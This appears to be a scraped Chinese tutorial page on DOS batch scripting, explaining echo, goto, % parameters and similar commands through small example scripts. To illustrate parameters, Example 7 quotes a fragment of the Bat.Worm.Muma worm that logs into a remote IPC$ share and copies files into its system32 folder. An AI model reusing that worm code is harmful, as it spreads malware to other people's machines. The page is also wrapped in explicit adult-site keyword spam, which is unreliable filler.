亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > BAT > 正文

批處理(dos/bat)最完整人性化教程第1/2頁

2020-07-26 20:33:24
字體:
來源:轉載
供稿:網友
這是一篇技術教程,我會用很簡單的文字表達清楚自己的意思,你要你識字就能看懂,就能學到知識。寫這篇教程的目的,是讓每一個看過這些文字的朋友記住一句話:如果愛可以讓事情變的更簡單,那么就讓它簡單吧!看這篇教程的方法,就是慢!慢慢的,如同品一個女人、一杯茗茶,你會發現很多以前就在眼前的東西突然變的很遙遠,而有些很遙遠的東西卻又突然回到了眼前。 

先概述一下批處理是個什么東東。批處理的定義,至今我也沒能給出一個合適的----眾多高手們也都沒給出----反正我不知道----看了我也不一定信服----我是個菜鳥,當然就更不用說了;但我想總結出一個“比較合適的”,而且我也相信自己可以把它解釋的很清楚,讓更多的菜鳥都知道這是個什么東東,你用這個東東可以干什么事情?;蛟S你會因為這篇文章而“無條件愛上批處理”,那么我的目的就達到了----我就是要讓你愛上它,我就這么拽,你能怎么著??真的,愛有時候就這么拽,就是這么沒理由,就是這么不要臉!真的! 

按照我的理解,批處理的本質,是一堆DOS命令按一定順序排列而形成的集合。 

OK,never claver and get to business(閑話少說言歸正傳)。批處理,也稱為批處理腳本,英文譯為BATCH,批處理文件后綴BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個命令,每個命令里可以含多條子命令,從第一行開始執行,直到最后一行結束,它運行的平臺是DOS。批處理有一個很鮮明的特點:使用方便、靈活,功能強大,自動化程度高。我不想讓自己寫的教程枯燥無味,因為牽纏到代碼(批處理的內容算是代碼吧?)的問題本來就是枯燥的,很少有人能面對滿屏幕的代碼而靜下心來。所以我會用很多簡單實用的例子讓讀這篇教程的朋友去體會批處理的那四射的魅力,感受它那古靈精怪的性格,不知不覺中愛上批處理(暈,怎么又是愛?到底批處理和愛有什么關系?答案:沒有!)。再說句“閑話”:要學好批處理,DOS基礎一定要牢!當然腦子靈活也是很重要的一方面。 

例一、先給出一個最easy的批處理腳本讓大家和它混個臉熟,將下面的幾行命令保存為name.bat然后執行(以后文中只給出代碼,保存和執行方式類似): 

ping sz.tencent.com > a.txt 
ping sz1.tencent.com >> a.txt 
ping sz2.tencent.com >> a.txt 
ping sz3.tencent.com >> a.txt 
ping sz4.tencent.com >> a.txt 
ping sz5.tencent.com >> a.txt 
ping sz6.tencent.com >> a.txt 
ping sz7.tencent.com >> a.txt 
exit 

是不是都能看的懂?是不是很easy?但它的作用卻是很實用的,執行這個批處理后,可以在你的當前盤建立一個名為a.txt的文件,它里面記錄的信息可以幫助你迅速找到速度最快的QQ服務器,從而遠離“從服務器中轉”那一痛苦的過程。這里>的意思,是把前面命令得到的東西放到后面所給的地方,>>的作用,和>的相同,區別是把結果追加到前一行得出的結果的后面,具體的說是下一行,而前面一行命令得出的結果將保留,這樣可以使這個a.txt文件越來越大(想到如何搞破壞了??)。By the way,這個批處理還可以和其他命令結合,搞成完全自動化判斷服務器速度的東東,執行后直接顯示速度最快的服務器IP,是不是很爽?后面還將詳細介紹。 

例二、再給出一個已經過時的例子(a.bat): 

@echo off 
if exist C:/Progra~1/Tencent/AD/*.gif del C:/Progra~1/Tencent/AD/*.gif 
a.bat 

為什么說這是個過時的例子呢?很簡單,因為現在已經幾乎沒有人用帶廣告的QQ了(KAO,我的QQ還顯示好友三圍呢?。。?,所以它幾乎用不上了。但曾經它的作用是不可小窺的:刪除QQ的廣告,讓對話框干干凈凈。這里用的地址是QQ的默認安裝地址,默認批處理文件名為a.bat,你當然可以根據情況自行修改。在這個腳本中使用了if命令,使得它可以達到適時判斷和刪除廣告圖片的效果,你只需要不關閉命令執行后的DOS窗口,不按CTRL+C強行終止命令,它就一直監視是否有廣告圖片(QQ也再不斷查看自己的廣告是否被刪除)。當然這個腳本占用你一點點內存,呵呵。 
例三,使用批處理腳本查是否中冰河。腳本內容如下: 

@echo off 
netstat -a -n > a.txt 
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" 
del a.txt 
pause & exit 

這里利用了netstat命令,檢查所有的網絡端口狀態,只需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否被人種了冰河。然這不是確定的,因為冰河默認的端口7626,完全可以被人修改。這里介紹的只是方法和思路。這里介紹的是方法和思路稍做改動,就變成可以檢查其他木馬的腳本了,再改動一下,加進去參數和端口及信息列表文件后,就變成自動檢測所有木馬的腳本了。呵呵,是不是很過癮?腳本中還利用了組合命令&&和管道命令|,后面將詳細介紹。 

例四,借批處理自動清除系統垃圾,腳本如下: 

@echo off 
if exist c:/windows/temp/*.* del c:/windows/temp/*.* 
if exist c:/windows/Tempor~1/*.* del c:/windows/Tempor~1/*.* 
if exist c:/windows/History/*.* del c:/windows/History/*.* 
if exist c:/windows/recent/*.* del c:/windows/recent/*.* 

將以上腳本內容保存到autoexec.bat里,每次開機時就把系統垃圾給自動刪除了。這里需要注意兩點:一、DOS不支持長文件名,所以就出現了Tempor~1這個東東;二、可根據自己的實際情況進行改動,使其符合自己的要求。 

怎么樣,看到這里,你對批處理腳本是不是已經有點興趣了?是不是發現自己已經慢慢愛上了這個東東?別高興的太早,愛不是一件簡單的事,它也許能帶給你快樂和幸福,當然也能讓你痛苦的想去跳樓。如果你知道很難還敢繼續的話,I 服了 YOU!繼續努力吧,也許到最后你不一定得到真愛(真的有這可能,愛過的人都知道),但你可以體會到整個愛的過程,就是如此。 酸、苦和辣,有沒有甜天知道。 

為什么會把批處理和愛情扯上關系?不是我無聊,也不是因為這樣寫有趣多少,原因有二:其一,批處理和愛情有很多相同的地方,有些地方我用“專業”的行話解釋不清(我不懷疑自己的表達能力,而是事情本身就不好說清楚),說了=沒說,但用地球人都知道的愛情一比喻(愛情是什么?我**怎么知道!?。?,沒準你心里一下就亮堂了,事半功倍,何樂而不為?其二,我這段時間狀態不是很好,感冒發燒頭疼鼻塞,但主要還是感情上精神摧殘,搞的人煩透了,借寫教程之際感慨幾句,大家就全當買狗皮膏藥了,完全可以省略不看(也許還真有點效果----不至于讓你看著看著就睡著了,把頭磕了來找我報銷醫藥費)。說不定下次的教程中大家還會看到楊過、張無忌等金老前輩筆下的英雄們。 

看過第一章的朋友,一定對批處理有了初步的印象,知道它到底是用來干什么的了。但你知道運用批處理的精髓在哪里嗎?其實很簡單:思路要靈活!沒有做不到的,只有想不到的。這和愛情就有點不同了,因為愛情的世界是兩個人的世界,一廂情愿不叫愛情(補充:那叫單戀。廢話?。┒幚韰s是一個人的天堂,你可以為所欲為,沒有達不到的境界! 

批處理看起來雜亂無章,但它的邏輯性之強,絕對不比其他程序語言(如匯編)低,如果你寫的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執行到尾后,不一定得到你想要的結果,也許是一屏幕的Bad command or fail name。這又和愛情有了共同點:按步驟來經營,缺少或增多的步驟都可能導致不想看見的結果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理,輸出的結果不是Bad command or fail name,屏幕是這么顯示的:‘你的愛情'不是內部或外部命令,也不是可運行的程序或批處理文件。然后就是光標不停閃動,等待這下一次錯誤的輸入。 

從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見DOS命令在批處理腳本中有這廣泛的應用,它們是批處理腳本的BODY部分,但批處理比DOS更靈活多樣,更具備自動化。要學好批處理,DOS一定要有比較扎實的基礎。這里只講述一些比較少用(相對來說)的DOS命令,常用命令如COPY、DIR等就不做介紹了(這些看似簡單的命令實際復雜的很,我怕自己都說不清楚!)。 

例五,先看一個實例。這是一個很有意思的腳本,一個小巧實用的好東東,把批處理“自動化”的特點體現的淋漓盡致。先介紹一下這個腳本的來歷:大家都知道匯編程序(MASM)的上機過程,先要對源代碼進行匯編、連接,然后再執行,而這中間有很多環節需要輸入很多東西,麻煩的很(只有經歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞匯編課程設計時,我“被逼”寫了這個腳本,用起來很爽,呵呵。看看腳本內容: 

@echo off 
::close echo 
cls 
::clean screen 
echo This programme is to make the MASM programme automate 
::display info 
echo Edit by CODERED 
::display info 
echo Mailto me : qqkiller***@sina.com 
::display info 
if "%1"=="" goto usage 
::if input without paramater goto usage 
if "%1"=="/?" goto usage 
::if paramater is "/?" goto usage 
if "%1"=="help" goto usage 
::if paramater is "help" goto usage 
pause 
::pause to see usage 
masm %1.asm 
::assemble the .asm code 
if errorlevel 1 pause & edit %1.asm 
::if error pause to see error msg and edit the code 
link %1.obj & %1 
::else link the .obj file and execute the .exe file 
:usage 
::set usage 
echo Usage: This BAT file name [asm file name] 
echo Default BAT file name is START.BAT 
::display usage 

先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎么寫的?。。?。已經給出了每一行命令的解釋,兩個冒號后面的內容為前一行內容解釋的E文(害怕E文的朋友也不用擔心,都很easy,一看就懂了,實在不懂了不會查詞典啊,這么懶?),在腳本執行時不顯示,也不起任何作用。倒數第5行行首有一個冒號,可不是筆誤哦!具體作用后面會詳細講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當然還有這個腳本,廢話?。┮黄鹪诋斍澳夸浿?。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中只需要按幾下回車鍵,即可實現從匯編源代碼到可執行exe文件的自動化轉換,并具備智能判斷功能:如果匯編時源代碼出現錯誤(匯編不成功),則自動暫停顯示錯誤信息,并在按任意鍵后自動進入編輯源代碼界面;如果源代碼匯編成功,則進行連接,并在連接后自動執行生成的exe文件。另外,由于批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單進行修改就可以符合不同朋友的上機習慣。正在學匯編的朋友,一定別忘了實習一下! 

在這個腳本中出現了如下幾個命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。 

1、@ 

這個符號大家都不陌生,email的必備符號,它怎么會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要不就不完美了。它的作用是讓執行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話?。:呛?,通俗一點說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓腳本在執行時不顯示后面的echo off部分。這下懂了吧?還是不太懂?沒關系,看完echo命令簡介,自然就懂了。 

2、echo 

中文為“反饋”、“回顯”的意思。它其實是一個開關命令,就是說它只有兩種狀態:打開和關閉。于是就有了echo on和echo off兩個命令了。直接執行echo命令將顯示當前echo命令狀態(off或on)執行echo off將關閉回顯,它后面的所有命令都不顯示命令本身,只顯示執行后的結果,除非執行echo on命令。在例五中,首行的@命令和echo off命令聯合起來,達到了兩個目的:不顯示echo off命令本身,不顯示以后各行中的命令本身。的確是有點亂,但你要是練習一下的話,3分鐘包會,不會的退錢! 

echo命令的另一種用法一:可以用它來顯示信息!如例五中倒數第二行,Default BAT file name is START.BAT將在腳本執行后的窗口中顯示,而echo命令本身不顯示(為什么??)。 
echo命令的另一種用法二:可以直接編輯文本文件。例六: 
echo nbtstat -A 192.168.0.1 > a.bat 
echo nbtstat -A 192.168.0.2 >> a.bat 
echo nbtstat -A 192.168.0.3 >> a.bat 

以上腳本內容的編輯方法是,直接是命令行輸入,每行一回車。最后就會在當前目錄下生成一個a.bat的文件,直接執行就會得到結果。 

3、:: 

這個命令的作用很簡單,它是注釋命令,在批處理腳本中和rem命令等效。它后面的內容在執行時不顯示,也不起任何作用,因為它只是注釋,只是增加了腳本的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。 

4、pause 

中文為“暫?!钡囊馑迹纯茨愕膚orkman上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,是讓當前程序進程暫停一下,并顯示一行信息:請按任意鍵繼續. . .。在例五中這個命令運用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個是顯示錯誤的匯編代碼信息(其實不是它想顯示,而是masm程序在顯示錯誤信息時被暫它停了,以便讓你看清楚你的源代碼錯在哪里)。 

5、:和goto 

為什么要把這兩個命令聯合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉命令,:是一個標簽。當程序運行到goto時,將自動跳轉到:定義的部分去執行了(是不是分不開?)。例五中倒數第5行行首出現一個:,則程序在運行到goto時就自動跳轉到:標簽定義的部分執行,結果是顯示腳本usage(usage就是標簽名稱)。不難看出,goto命令就是根據這個冒號和標簽名稱來尋找它該跳轉的地方,它們是一一對應的關系。goto命令也經常和if命令結合使用。至于這兩個命令具體用法,參照例五。 

goto命令的另一種用法一:提前結束程序。在程序中間使用goto命令跳轉到某一標簽,而這一標簽的內容卻定義為退出。如: 

…… 
goto end 
…… 
:end 

這里:end在腳本最后一行!其實這個例子很弱智,后面講了if命令和組合命令你就知道了。 

6、% 

這個百分號嚴格來說是算不上命令的,它只是批處理中的參數而已(多個%一起使用的情況除外,以后還將詳細介紹),但千萬別以為它只是參數就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七: 

net use //%1/ipc$ %3 /u:"%2" 
copy 11.BAT //%1/admin$/system32 /y 
copy 13.BAT //%1/admin$/system32 /y 
copy ipc2.BAT //%1/admin$/system32 /y 
copy NWZI.EXE //%1/admin$/system32 /y 
attrib //%1/admin$/system32/10.bat -r -h -s 

以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執行形式為:腳本文件名 參數一 參數二 ……。假設這個腳本被保存為a.bat,則執行形式如下:a IP username password。這里IP、username、password是三個參數,缺一不可(因為程序不能正確運行,并不是因為少了參數語法就不對)這樣在腳本執行過程中,腳本就自動用用你的三個參數依次(記住,是依次!也是一一對應的關系。)代換1%、2%和3%,這樣就達到了靈活運用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話,不同的參數可以達到不同的目的,是不是更靈活?)。 

關于這個參數的使用,在后續章節中還將介紹。一定要非常熟練才行,這需要很多練習過程,需要下點狠工夫! 
12下一頁閱讀全文
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
欧美国产日韩一区| 日韩av一区二区在线观看| 日韩成人黄色av| 成人免费大片黄在线播放| 欧美亚洲在线观看| 精品久久久久久久大神国产| 久久午夜a级毛片| 亚洲一区www| 欧美激情三级免费| 激情成人在线视频| 欧美成人精品三级在线观看| 欧美精品久久久久久久久| 成人av电影天堂| 91久久久久久久久久久久久| 亚洲国产日韩一区| 69视频在线免费观看| 国产精品女主播| 色综合色综合网色综合| 色中色综合影院手机版在线观看| 国产精品扒开腿做| 在线亚洲午夜片av大片| 久久久99久久精品女同性| 成人免费福利在线| 国产精品白嫩美女在线观看| 国产亚洲精品久久久久久777| 久久精品亚洲热| 欧美丰满老妇厨房牲生活| 成人在线一区二区| 色偷偷av一区二区三区乱| 亚洲级视频在线观看免费1级| 亚洲r级在线观看| 国产脚交av在线一区二区| 97国产在线观看| 欧美激情按摩在线| 亚洲精品456在线播放狼人| 欧美亚洲国产日韩2020| 国产精品专区h在线观看| 亚洲欧美日韩视频一区| 欧美高跟鞋交xxxxhd| 国模视频一区二区三区| 成人国产在线视频| 欧美日韩中文字幕日韩欧美| 亚洲一区二区免费在线| 国产成人jvid在线播放| 久久成人在线视频| 日韩一区av在线| 日韩在线观看免费高清| 欧美午夜片欧美片在线观看| 久久精品久久久久久| 欧美在线视频一二三| 欧美精品久久一区二区| 国产欧美精品日韩精品| 国产精品视频免费在线观看| 欧美一二三视频| 国产精品欧美日韩久久| 精品国产老师黑色丝袜高跟鞋| 亚洲综合色激情五月| 影音先锋欧美在线资源| 九九热在线精品视频| 色噜噜狠狠色综合网图区| 欧美天天综合色影久久精品| www.久久久久| 91亚洲精品一区二区| 成人激情免费在线| 久久男人资源视频| 2024亚洲男人天堂| 国产亚洲精品日韩| 日韩av在线一区二区| 日韩欧美大尺度| 欧美日韩视频免费播放| 亚洲第一偷拍网| 日韩亚洲成人av在线| 成人免费福利在线| 国内伊人久久久久久网站视频| 亚洲电影中文字幕| 成人综合国产精品| 精品国内自产拍在线观看| 国产欧美日韩中文| 日韩美女在线观看一区| 色婷婷**av毛片一区| 成人欧美在线观看| 国产成人亚洲综合| 精品无人区太爽高潮在线播放| 国产美女精品视频免费观看| 国产精品视频久久久久| 亚洲欧美中文日韩在线v日本| 国语对白做受69| www日韩欧美| 国产精品视频最多的网站| 91久久精品久久国产性色也91| 中文字幕亚洲欧美在线| 91精品在线国产| 国产视频综合在线| 亚洲午夜av电影| 欧美精品性视频| 91国产在线精品| 热久久99这里有精品| 久久视频在线观看免费| 欧美激情亚洲精品| 亚洲福利在线播放| www.日韩.com| 亚洲深夜福利网站| 国产精品电影网| 久久成人精品视频| 在线观看国产精品91| 欧美日韩成人精品| 精品亚洲国产成av人片传媒| 红桃视频成人在线观看| 在线丨暗呦小u女国产精品| 日韩欧美国产视频| www.日韩欧美| 91精品国产高清久久久久久91| 国内精品久久影院| 国产综合久久久久| 日韩av一区二区在线观看| 欧美日韩另类在线| 国产精品久久久久77777| 日韩欧美在线观看| 欧美成人精品一区二区三区| 一二美女精品欧洲| 国产精品成熟老女人| 欧美一区视频在线| 中文字幕无线精品亚洲乱码一区| 久久久精品中文字幕| 亚洲电影在线看| 不卡伊人av在线播放| 亚洲午夜精品久久久久久久久久久久| 日韩精品免费在线观看| 欧美老肥婆性猛交视频| 国产va免费精品高清在线观看| 国产男女猛烈无遮挡91| 日本人成精品视频在线| 在线日韩欧美视频| 亚洲一区二区三区成人在线视频精品| 国产精品成av人在线视午夜片| 91精品国产自产91精品| 亚洲字幕在线观看| 亚洲精品成人网| 九色成人免费视频| 欧美精品videosex牲欧美| 国产成人免费av| 日韩网站在线观看| 久久精品99久久久香蕉| 欧美黑人一区二区三区| 国产成人精品av| 欧美夫妻性生活视频| 国外视频精品毛片| 7777精品久久久久久| 精品久久久一区二区| 国内精品久久久久影院优| 中文字幕亚洲图片| 欧美日韩在线另类| 日韩视频免费观看| 日本精品免费一区二区三区| 日韩在线视频线视频免费网站| 久久久久久久91| 亚洲精品久久久久久久久久久久久| 国内精品模特av私拍在线观看| www亚洲欧美| 尤物yw午夜国产精品视频明星| 久久韩国免费视频| 久久久久久久久久久免费| 色偷偷噜噜噜亚洲男人的天堂| 日韩女优在线播放|